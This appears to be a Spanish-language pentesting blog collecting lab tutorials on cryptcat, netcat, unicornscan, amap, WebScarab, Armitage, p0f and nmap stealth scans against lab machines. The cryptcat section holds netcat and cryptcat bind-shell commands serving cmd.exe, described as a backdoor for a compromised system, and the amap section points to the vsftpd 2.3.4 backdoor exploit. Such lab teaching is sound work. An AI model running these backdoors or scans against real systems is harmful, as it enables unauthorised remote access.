blog

CrypCat es el netcat estándar mejorado con cifrado twofish, el cual ha sido portado para Windows NT, BSD y GNU/LInux. Twofish es un cifrado de bloque, el cual tiene un tamaño de bloque de 128 bits, el tamaño de la clave varía en un rango desde 128 hasta 256 bits, y está optimizado para CPUs de 32 bits.

Crypcat es una cuchilla suiza para TCP/IP extendida con el cifrado twofish. Es la sencilla utilidad en Unix la cual puede leer y escribir datos a través de las conexiones de red, utilizando el protocolo UDP o TCP mientras cifra los datos que están siendo transmitidos. Esta diseñado para ser una herramienta de “back-end” confiable que puede ser utilizada directamente o manejada facilmente por otros programas y scripts. Al mismo tiempo, es una herramienta valiosa para depuración y exploración, dado que puede crear casi cualquier tipo de conexión que se requiera y tiene varias capacidades interesantes.

En la siguiente práctica se utilizará una máquina con Windows 7 y otra con Kali Linux.

Ejecutar Cryptcat para Windows utilizando el siguiente comando.

#C:\> cryptcat.exe -n -vv -l -p 7777 -e cmd.exe

La opción “-n” permite utilizar la dirección IP, sin DNS. La opción “-v” muestra más información sobre el procedimiento en curso. La opción “-l” pone a cryptcat en modo de atención para conexiones entrantes. La opción “-p” permite definir el número de puerto local y la opción “-e” define el programa a ejecutar cuando se reciba una conexión entrante al puerto definido. Este es un mecanismo muy sencillo para crear una puerta trasera en un sistema comprometido.

Desde Kali Linux conectarse al Sistema Windows 7, con el siguiente comando.

# cryptcat -n -vv 192.168.0.24 7777

En segundo plano se aprecia a la herramienta Wireshark. Se puede observar en la Terminal que la conexión se ha realizado satisfactoriamente.

WireShark es un analizar de protocolos de red, el cual permite capturar y navegar interactivamente en el tráfico. En esta práctica se utiliza Wireshark para visualizar las interacciones entre los dos sistemas, utilizando la herramienta Cryptcat.

Al utilizar la opción de Wireshark para seguir el Flujo TCP; mediante “Analyze -> Follow TCP Stream”, se visualiza la interacción generada al realizar un listado remoto de un directorio en Windows, desde Kali Linux. Se visualizan una gran cantidad de caracteres sin "ningún sentido". En términos sencillos, esto representa que la comunicación realizada se está cifrando con twofish.

Para corroborar este procedimiento realizado con la herramienta CryptCat, se utilizará netcat para realizar el mismo procedimiento descrito.

Se procede a ejecutar netcat en Windows con el siguiente comando.

C>:\ nc -n -vv -l -p 7777 -e cmd

Desde Kali Linux se procede a establecer una conexión; utilizando también nectat; hacia la máquina Windows.

# nc -n -vv 192.168.0.24 7777

Se ejecuta el comando “dir” para realizar un listado remoto de un directorio en Windows.

Al utilizar nuevamente la opción “Analyze -> Follow TCP Stream” de Wireshark, se visualiza el tráfico generado en texto plano. Es decir, todo este tráfico podría ser interceptado o visualizado sin ningún inconveniente por el administrador del sistema o algún mecanismo de seguridad implementado.

Fuentes:

http://cryptcat.sourceforge.net/
http://en.wikipedia.org/wiki/Twofish
http://www.wireshark.org/
http://netcat.sourceforge.net/

Unicornscan es un nuevo motor para la captura y correlación de información, construido para y por los miembros de las comunidades de investigación y pruebas de seguridad. Fue diseñado para proporcionar un motor que sea escalable, preciso, flexible, y eficiente. Fue publicado para la comunidad bajo los términos de la licencia GPL.

Beneficios

Unicornscan es un intento de una pila TCP/IP de espacio de usuario distribuida. Tiene la intención de proporcionar una interfaz superior para introducir un estimulo dentro y medir las respuestas de un dispositivo o red habilitado con TCP/IP. Sin embargo tiene cientos de características individuales, entre ellas se incluyen.

• Escaneo Asíncrono TCP sin estado con variaciones de Flags TCP
• Captura del Banner Asíncrono TCP sin estado.
• Escaneo Asíncrono UDP específico del protocolo (enviar lo suficiente de una firma para generar una respuesta)
• Identificación Activa y Pasiva Remota del Sistema Operativo, aplicación y componentes, por el análisis de las respuestas.
• Registro y Filtrado de archivos PCAP
• Salida para Base de Datos Relacional.
• Soporte para módulo personalizado
• Vistas personalizadas de conjuntos de datos.

Explicando el Conectar por Dispersión

Mover el rastreo del estado de la conexión TCP fuera del espacio del kernel y en el espacio de usuario.

• Un proceso es el control maestro (Unicornscan)
  - Mantiene el rastro de cuales paquetes necesitan ser enviados.
  - Quien puede enviarlos
  - La respuesta que retorna
  - Estado de la conexión
• Un segundo proceso es el emisor (unisend)
  - Ensambla los paquetes y los pone en el cable
  - Opcionalmente, se puede dividir esta función en emisor por lotes y modos inmediatos de Emisor.
• Un tercer proceso es el oyente (unilisten)
  - Atiende las respuesta y envía la meta información devuelta al control maestro

Cuando unilisten ve el paquete SYN/ACK, envía la meta información de retorno a Unicornscan. Unicornscan luego solicita que unisend envíe un paquete ACK de retorno al host que envió el SYN/CK para completar el saludo de 3 vías. En este punto, dependiendo de cuales otros módulos o cargas (payloads) fueron utilizados en la sesión. Unicornscan programará las cargas (payloads) adicionales para ser enviadas por unisend.

Para realizar un Escaneo “TCP Connect” se utiliza el siguiente comando

# unicornscan -msf -Iv 192.168.0.17:a

La opción “-m” define el modo de escaneo, por defecto es el escaneo TCP SYN, se utiliza U para definir un escaneo UDP y T para definir un escaneo TCP, sf para definir un escaneo Connect y A para un escaneo ARP. La opción “-I” es el modo inmediato pues muestra los hallazgos conforme son encontrados. La opción “-v” muestra más información sobre el proceso en curso.

Para realizar un Escaneo UDP se utiliza el siguiente comando:

# unicornscan -mU -Iv 192.168.0.17:a

En este escaneo se ha definido la opción “-mU” para realizar un escaneo UDP. Mencionar además que el “:a” que aparece a continuación de la dirección IP del objetivo de evaluación, le indica a unicornscan escanear los 65535 puertos. Del mismo modo se pueden definir rangos de puertos como “1-1000”, lo cual escaneara desde el puerto 1 hasta el puerto 1000.

El tiempo requerido para realizar cada uno de los dos tipos de escaneos; Escaneo TCP Connect y Escaneo UDP, no sobrepasa los 4 minutos.

Para analizar los resultados obtenidos con unicornscan, sugiero realizar los mismos tipos de escaneo utilizando la herramienta nmap.

Fuentes:

http://www.unicornscan.org/
http://www.unicornscan.org/text/Unicornscan-Getting_Started.pdf
https://www.defcon.org/images/defcon-13/dc13-presentations/DC_13-Lee.pdf

OWASP Broken Web Applications Project, o por su traducción al Español "Proyecto OWASP de Aplicaciones Web Rotas". Es una colección de aplicaciones web vulnerables que son distribuidas dentro de una máquina virtual en el formato VMware, compatible con el producto sin costo VMware Player y VMware vSphere Hypervisor (ESXi)

La versión 1.1.1 de la Máquina Virtual fue publicada el 27 de Setiembre del 2013, y puede ser descargada directamente o utilizando Torrent.

Este proyecto incluye varios tipos de aplicaciones opensource. A continuación se detalla un breve listado de las aplicaciones incluidas.

• Aplicaciones de Entrenamiento: OWASP WebGoat, OWASP Mutillidae II, OWASP Bricks, entre otros
• Aplicaciones Reales Intencionalmente Vulnerables: OWASp Vicnum, Google Gruyere, BodgeIt, entre otros
• Aplicaciones Reales Antiguas: WordPress, Gallery2, Joomla, AWStats, entre otros.
• Aplicaciones para Probar Herramientas: OWASP ZAP-Wave, WAVSEP, WIVET.
• Páginas para Demostración / Pequeñas Aplicaciones: OWASP CSRFGuard, Mandiant Strus Forms, entre otros.
• Aplicaciones OWASP para Demostración: Owasp AppSensor Demo Aplication

La Máquina virtual puede ser descargada como un archivo 7z. El procedimiento de descompresión puede ser realizado en una terminal. La opción “-o” del comando 7z define el directorio en el cual se descomprimirán los archivos.

Con VMware Player se debe aperturar el archivo de nombre OWASP Broken Web Apps.vmx, el cual reside en el directorio donde se descomprimieron todos los archivos de la máquina virtual.

Al iniciar la máquina virtual se presentará información relacionada al acceso y credenciales, a tener en consideración durante el uso de esta sistema.

Para ingresar a la página principal de OWASP Broken Web Application Project, utilizar un navegador como Firefox y colocar en la barra de direcciones la dirección IP asignada a esta máquina virtual.

Fuentes:

http://code.google.com/p/owaspbwa/
http://code.google.com/p/owaspbwa/wiki/UserGuide
http://www.vmware.com/products/player/

Amap es una herramienta de escaneo que permite identificar las aplicaciones funcionando en un puerto o puertos específicos. Esto se logra conectándose al puerto y enviando paquetes disparadores. Estos paquetes disparadores son típicamente saludos al protocolo de la aplicación. Muchos demonios de red solo responderán al saludo correcto. (ejemplo SSL). Amap entonces busca la respuesta es una lista e imprime cualquier coincidencia que encuentre.

Amap fue una herramienta innovadora, dado que fue la primera herramienta en realizar la detección del protocolo de una aplicación. Luego se implementó una mejor propuesta en nmap, esto y la gran base de usuarios de nmap hicieron obsoleto a amap.

En la actualidad se recomienda utilizar “nmap -sV” para la obtener la huella de la aplicación, en lugar de amap (sin embargo en algunas circunstancias amap puede proporcionar mejores resultados, pero estos son raros).

Aun así, después de 5 años hay una actualización de amap. La razón para esto es IPv6, dado que nmap no tenía un buen soporte para IPv6, por ejemplo no era posible un escaneo UDP.

De allí para la versión 5.4 publicada en abril del 2011 se mejora amap para tener soporte UDP IPv6 (antes solo la huella del servicio funcionaba, ahora la funcionalidad del escaneo de puertos también funciona).

La funcionalidad de actualización vía web ha sido deshabilitada, así como amap está desactualizada y no tiene soporte.

Kali Linux incluye thc-amap en su última versión.

La forma más sencilla de ejecutar amap.

# amap 192.168.0.18 21

El resultado obtenido del puerto 21 corresponde al protocolo ftp (File Transfer Protocol).

Para obtener el banner devuelto por el servicio atendiendo en el puerto, se debe utilizar la opción “-b”.

La información del banner revela un servidor ftp de nombre vsFTPD (Very Secure FTPD) para sistemas tipo unix, incluyendo GNU/Linux. en su versión 2.3.4

Al realizar una investigación de vulnerabilidades sobre este servidor y versión, se obtiene información sobre una backdoor (Puerta Trasera) que fue incluida en el archivo vsftpd-2.3.4.tar.gz entre el 30 de junio del 2011 y 1ero de julio del 2011. Existe un módulo incluido en Metasploit Framework que permite explotar esta puerta trasera y tomar control del sistema.

Para obtener información de un puerto UDP, se utiliza la opción “-u”.

La información devuelta muestra que se trata de un servicio utilizando SNMP (Simple Network Mangement Protocol), además del banner devuelto.

A continuación se presenta el resultado obtenido de ejecutar thc-amap contra un puerto 2121, el programa nos indica que la huella del servicio puede corresponder tanto al protocolo ftp (File Transfer Protocol), como a smtp (Simple Mail Tranfer Protocol).

La opción “-d” permite realizar un volcado más detallado de las respuestas devueltas. Esto ayudará a realizar un análisis con mayor detalle.

Para el resultado indicando que se trata del protocolo ftp, el banner muestra información relacionadaa un Servidor ProFTPD en Debian, en su versión 1.3.1.

El segundo resultado indicando tratarse del protocolo smtp, responde con un mensaje “500 HELO not understood”. De lo cual se puede inferir que no se trataría de un servicio correspondiente al protocolo smtp.

Este mismo procedimiento realizado, puede ser aplicado contra cualquier puerto abierto TCP o UDP en el objetivo de evaluación. Mencionar además que no se debe confiar plenamente en la información devuelta por el servidor, pues un escenario frecuente es encontrar que los administradores ofuscan o modifican esta información. Puede darse el caso además, de que así un servicio esté actualizado y parchado debidamente, este sea detectado como un servicio vulnerable si únicamente nos basamos en la información de su versión.

Para corroborar estos resultados con thc-amap, se utiliza una herramienta indiscutiblemente poderosa en este tipo de pruebas, nmap.

# nmap -n -Pn -sV -p21,2121 192.168.0.17

Al ejecutar nmap contra los puertos 21 y 2121 utilizados en los ejercicios anteriores, se corroboran los resultados obtenidos manualmente con thc-amap.

Fuentes:

https://www.thc.org/thc-amap/
https://security.appspot.com/vsftpd.html
http://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor
http://www.proftpd.org/

Webscarab es un framework para analizar aplicaciones que se comunican utilizando los protocolos HTTP y HTTPS. Está escrito en Java, y es portátil a varias plataformas. Webscarab tiene muchos modos de operación, los cuales son implementados por un número de plugins. En su uso más común, WebScarab opera como un proxy de interceptación, permitiendo al operador revisar y modificar las peticiones creadas por el navegador antes de que sean enviadas al servidor, además de revisar y modificar las respuestas devueltas desde el servidor antes de que sean recibidas por el navegador. El operador también puede revisar las conversaciones (peticiones y respuestas) que han pasado a través de WebScarab.

Un framework sin funciones no sirve de nada, por supuesto WebScarab proporciona un número de plugins, principalmente destinados a la funcionalidad de seguridad. Entre estos plugins está el “Spider”.

Los “spiders” son extremadamente útiles par revisar y leer (o arrasar) el sitio web objetivo en busca de todos los enlaces y archivos asociados. Cada uno de estos enlaces, páginas webs, y archivos descubiertos en el objetivo son registrados y catalogados. Estos datos catalogados son útiles para acceder a páginas con restricción o localizar información o documentos expuestos de manera no intencional.

Se procede a iniciar webscarab desde la consola con el siguiente comando:

# webscarab

Se requiere configurar el navegador web; en este caso Firefox; para indicarle la utilización de “OWASP WebScarab” como Proxy. Este procedimiento puede ser realizado de manera manual. Pero la manera más cómoda de realizar esto es utilizando la extensión FoxyProxy para Firefox. Una de las principales características de esta extensión, es el de permitir el uso y cambio de uno o más servidores proxy, basado en patrones de la URL.

Se le indica a FoxyProxy utilizar a OWASP WebScarab como Proxy.

Para el presente ejercicio se utilizará una aplicación web vulnerables de nombre “BadStore”. Se procede a visitar esta aplicación web vulnerable utilizando el navegador.

De regreso a OWASP Webscarab se visualizará el registro de interacciones ocurridas entre el navegador web y la aplicación web.

Para realizar el Spidering se procede a hacer clic derecho sobre la URL, para luego seleccionar la opción “Spider Tree”.

Cuando el proceso de Spidering haya finalizado. Será factible observar el registro de las peticiones realizadas a la aplicación web, como también una estructura de directorios y archivos.

OWASP WebScarab tiene una pestaña de nombre “Spider”, la cual permite afinar este procedimiento. Al hacer clic en esta pestaña, se puede observar el resultado completo del proceso de Spidering realizado.

Añadir además que el "Spidering" puede ser aplicado a cualquier subdirectorio identificado, y también se pueden definir rutas prohibidas, en caso existan páginas que realicen ciertas acciones sensibles, como una página de “logout”, la cual cerraría la sesión establecida con la aplicación web.

Fuentes:

https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
http://www.badstore.net/

Armitages es una herramienta de colaboración de “Red Team” para Metasploit que visualiza los objetivos, recomienda exploits, y expone características avanzadas de post-explotación en el framework.

Mediante una instancia de Metasploit el equipo podrá:

• Utilizar las mismas sesiones
• Host compartidos, datos capturados, y archivos descargados
• Comunicarse a través de un log de eventos compartido
• Ejecutar bots para automatiza tareas del Red Team

Para instalar Armitage en Kali Linux se requiere ejecutar el siguiente comando:

# apt-get install armitage

Ahora que Armitage ha sido instalado, es necesario iniciar el servicio PostgreSQL.

# service postgresql start

Se requiere indicar a Kali Linux recrear la Base de Datos de Metasploit Framework.

# service metasploit start
# service metasploit sttop

Al iniciar Armitage se presentará con una ventana de “Conexión...”. Para iniciar Armitage se pueden dejar estos valores por defecto, y hacer clic en el botón “Connect”.

La siguiente ventana mostrada, versa sobre que el servidor RPC de Metasploit no está en funcionamiento o que no está aceptando conexiones. Y si se desea dejar al programa iniciar el servidor RPC de Mestaploit. Se acepta esta acción haciendo clic en el botón “Yes”.

Armitage se ha iniciado correctamente.

Fuentes:

http://www.fastandeasyhacking.com/start
http://www.fastandeasyhacking.com/manual

Las Pruebas de Penetración no pueden ser una ciencia exacta, donde una lista completa de todos los posibles problemas a ser evaluados, pueden ser definidos. Una Prueba de Penetración es solo una técnica adecuada para evaluar la seguridad de las aplicaciones web bajo ciertas circunstancias. El objetivo es recolectar todas las posibles técnicas de pruebas, explicarlas y mantener la guía actualizada. El método de Pruebas de Penetración para Aplicaciones Web de OWASP está basada en una aproximación de tipo “Caja Negra”. El Hacker Ético no conoce nada o tiene muy poca información sobre la aplicación a ser evaluada. El modelo de Pruebas consiste de:

• El Evaluador: Quién realiza las actividad de prueba
• Herramientas y Metodología: El corazón del Proyecto de Guía para Pruebas
• Aplicación: La Caja Negra a evaluar.

La prueba se divide en dos fases:

Modo Pasivo:

En este modo, el Hacker Ético intenta entender la lógica de la aplicación, y juega con la aplicación. Pueden ser utilizadas herramientas para la captura de información, por ejemplo, un proxy HTTP que observe todas las solicitudes y respuestas HTTP. Al final de esta fase, el Hacker Ético conocerá todos los puntos de acceso (puertas) de la aplicación (ejemplo, cabeceras HTTP, parámetros, cookies).

Modo Activo:

En esta fase el Hacker Ético inicia las pruebas utilizando la metodología descrita en la Guía de Pruebas OWASP.

La guía divide el conjunto de actividades a realizar en 9 categorías y 66 controles.

• Pruebas de Manejo de la Configuración
• Pruebas de la Lógica del Negocio
• Pruebas de Autenticación
• Pruebas de Autorización
• Pruebas de Manejo de la Sesión
• Pruebas de Validación de los Datos
• Pruebas de Negación de Servicio
• Pruebas de Servicios Web
• Pruebas Ajax

Fuente: https://www.owasp.org/index.php/OWASP_Testing_Guide_v3_Table_of_Contents

Estos tres tipos de escaneo (aunque son posibles más con la opción "–scanflags" de nmap) explotan un detalle en el RFC de TCP para diferenciar entre puertos abiertos y cerrados. La página 65 del RFC 793 dice; “Si el puerto destino tiene el estado CERRADO... un segmento entrante que no contiene un RST causa que un RST sea enviado en respuesta”. Luego la siguiente página discute sobre paquetes enviados a puertos abiertos sin los bits de control SYN, RST, o ACK, mencionando que: “es poco probable que lleguen aquí, pero si lo hacen, descartar el segmento y retornar”.

Cuando se escanean sistemas que cumplen con este texto del RFC, cualquier paquete que no contenga los bits SYN, RST, o ACK dará como resultado un RST devuelto si el puerto está cerrado y ninguna respuesta si el puerto está abierto. Mientras que ninguno de estos tres bits estén incluidos, cualquier combinación de estos tres (FIN, PSH, y URG) está bien. Nmap explota estos tipos de escaneo con las siguientes opciones:

• Escaneo Null (-sN): No define ningún bit (Cabecera TCP es 0)
• Escaneo FIN (-sF): Define únicamente el bit TCP FIN.
• Escaneo Xmas (-sX): Define los bits de control FIN, PSH y URG, iluminando el paquete como un árbol de navidad.

Estos tres tipos de escaneo tienen exactamente el mismo comportamiento excepto por la bandera TCP definida en los paquetes de prueba. Si un paquete RST es recibido, se considera al puerto “closed” cerrado, mientras que la ausencia de respuesta significa que está “open|filtered” abierto|filtrado. El puerto es marcado como “filtered” si un mensaje de error ICMP Unreacheable (tipo 3, código 1, 2, 3, 9, 10, o 13) es recibido.

La ventaja clave de estos tipos de escaneo es que pueden pasar a través de ciertos firewalls sin estado y encaminadores con filtrado de paquetes. Otra ventaja es que estos tipos de escanneo son un poco más ocultos que un escaneo SYN. No hay que confiar plenamente en esto, dado que los IDS (Intrusion Detection System) modernos están configurados para detectarlos. El gran inconveniente es que no todos los sistemas siguen el RFC 793. Un número de sistemas envían una respuesta RST a las pruebas sin importar que el puerto este cerrado o no. Esto causa que todos los puertos sean etiquetados como “closed”. Los principales sistemas operativos que hacen esto son Microsoft Windows, varios dispositivos Cisco, BSDI, e IBM OS/400. Este escaneo funciona bien contra la mayoría de sistemas basados e Unix. Otro inconveniente de estos escaneos es que no pueden distinguir entre puertos “open” de aquellos “filtered” dejándolos con la respuesta “open|filtered”.

A continuación se realizan los tres tipos de escaneo (Null, Fin, Xmas) contra un Sistema GNU/Linux (Metasploitable2)

# nmap -n -Pn -sN -p- 192.168.0.17
# nmap -n -Pn -sF -p- 192.168.0.17
# nmap -n -Pn -sX -p- 192.168.0.17

El siguiente ejercicio se realizan los tres escaneos contra un Sistema Windows (Server 2003 SP2)

# nmap -n -Pn -sN -p- 192.168.0.18
# nmap -n -Pn -sF -p- 192.168.0.18
# nmap -n -Pn -sX -p- 192.168.0.18

Ninguno de los Sistemas escaneados están basados en UNIX. Los resultados detallan que los 65535 puertos escaneados están en estado “closed” cerrados, para todos los objetivos evaluados.

Fuentes:

http://nmap.org/book/man-port-scanning-techniques.html
http://www.rfc-editor.org/rfc/rfc793.txt

El Escaneo Window es exactamente el mismo que el escaneo ACK, excepto que este explota un detalle de implementación en ciertos sistemas para diferenciar los puertos abiertos de los cerrados, en lugar de imprimir siempre “unfiltered” cuando es devuelto un RST. Esto se hace examinando el campo TCP Window del paquete RST devuelto. En algunos sistema los puertos abiertos utilizan un tamaño de “ventana” positivo (incluso para paquetes RST) mientras que los cerrados tienen una ventana cero. De esta manera en lugar de siempre listar un puerto como “unfiltered” cuando este recibe de retorno un RST, el escaneo Window lista el puerto como “open” o “closed” si el valor TCP Window en este reinicio es positivo o cero respectivamente.

El Paquete TCP

Este escaneo confía en una detalle de implementación de una minoría de sistemas en Internet, de tal manera que no se puede confiar siempre en esto. Los Sistemas que no soportan esto usualmente retornarán todos los puertos “closed”. De hecho, es posible que una máquina no tenga puertos abiertos. Si la mayoría de puertos escaneados están “closed”, pero algunos números de puertos comunes (como 22, 25, 53) están “filtered”, es muy probable que el sistema sea susceptible. Ocasionalmente, los sistemas mostrarán un comportamiento exactamente contrario. Si el escaneo muestra 1,000 puertos abiertos y tres puertos cerrados o filtrados, estos tres pueden muy bien estar abiertos.

Para el siguiente ejemplo se ejecuta la herramienta nmap para realizar un Escaneo Window, contra un Sistema GNU/Linux (Metasploitable2).

# nmap -n -Pn -sW -p- 192.168.0.17

El el siguiente ejemplo se ejecuta nmap, con las mismas opciones detalladas anteriormente, contra un Sistema Windows 2003.

# nmap -n -Pn -sW -p- 192.168.0.18

Para ambos ejemplos expuestos, se infiere que ninguno de los sistemas soporta este tipo de escaneo.

Fuentes:

http://nmap.org/book/man-port-scanning-techniques.html
http://essayweb.net/miscellany/datatransmission2.shtml

P0f es una herramienta que utiliza una serie de sofisticados mecanismos netamente pasivos de huellas de tráfico, para identificar a los actores detrás de cualquier comunicación incidental TCP/IP, sin interferir de manera alguna. La versión 3 es una completa reescritura del código base original, incorporando un número significativo de mejoras para las huellas a nivel de red, e introduciendo la habilidad de razonar sobre las cargas a nivel de la aplicación (Por ejemplo HTT).

Algunas de las capacidades de p0f son:

• Identificación altamente escalable y extremadamente rápida del sistema operativo y software sobre ambos lados de una conexión TCP, especialmente en configuraciones donde las pruebas con nmap son bloqueadas, muy lentas, poco confiables, o simplemente activa las alarmas.
• Medida del tiempo de funcionamiento del sistema y conexión de red, distancia (incluyendo topología detrás de NAT o filtrado de paquetes), preferencia del lenguaje de usuario, etc.
• Detección automática de conexiones compartidas / NAT, balanceo de carga, y configuraciones de proxy a nivel de aplicación.
• Detección de clientes y servidores que falsifican sentencias declarativas como X-Mailer o User-Agent.

Esta herramienta puede funcionar en segundo plano o como un demonio, y proporcionar un API sencillo en tiempo real para otros componentes que deseen obtener información adicional sobre los actores en comunicación.

Los usos comunes p0f incluyen, el reconocimiento durante las pruebas de penetración, vigilancia de rutina de la red, detección de interconexión de redes no autorizadas en entornos corporativos, proporcionar señales para herramientas de prevención de abuso, y usos forenses.

En una forma u otra p0f es utilizado en varios proyectos, incluyendo pfsense, ettercap, prads, amavisd, milter, postgrey, fwknop, satore, etc.

La opción "-L" permite listar todas las interfaces de red disponibles. Esto es útil especialmente en Windows, donde es complicado memorizar las interfaces generadas por el sistema.

Identificada la interfaz de red se procede a ejecutar p0f3 con las siguientes opciones.

# ./p0f -i eth0 -o /tmp/reg_p0f3.log -d -p

La opción “-i” le indica a p0f atender en una interfaz de red definida, para este caso “eth0”. La opción “-o” añade los datos de registros a un archivo definido, para este caso el archivo de nombre /tmp/reg_p03.log. La opción “-d” ejecuta pf0 en modo demonio, es decir seguirá en funcionamiento hasta que el proceso sea terminado, la interfaz sea desactivada o que se genere un error fatal. La opción “-p” pone la interfaz especificada con la opción “-i” en modo promiscuo, es decir la tarjeta de red procesará las tramas que no están dirigidas a ella.

Para el presente ejemplo, se procede a realizar una conexión al puerto 80 utilizando netcat combinado con el comando echo.

# echo -e "GET / HTTP/1.0\r\n" | nc -n 192.168.0.17 80

Al visualizar los resultados capturados en el archivo “/tmp/reg_p0f3.log”, se puede obtener información muy útil revelada por p0f3, por ejemplo que el Sistema Operativo detectado para Kali Linux es Linux 3.x, y que el Sistema Operativo de nuestro objetivo de evaluación (Metasploitable2) es Linux 2.6.x.

Fuentes:

http://lcamtuf.coredump.cx/p0f3/
http://lcamtuf.coredump.cx/p0f3/README